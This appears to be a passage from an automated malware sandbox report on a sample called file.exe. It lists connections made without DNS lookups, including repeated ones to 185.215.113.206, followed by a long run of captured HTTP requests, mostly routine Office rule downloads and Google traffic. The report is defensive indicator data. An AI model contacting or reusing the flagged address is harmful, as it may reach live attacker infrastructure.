Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.7
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA7CC60 PR_Recv,

0_2_6CA7CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TyDlpBOuBMC4KnB&MD=cRlZhfaz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
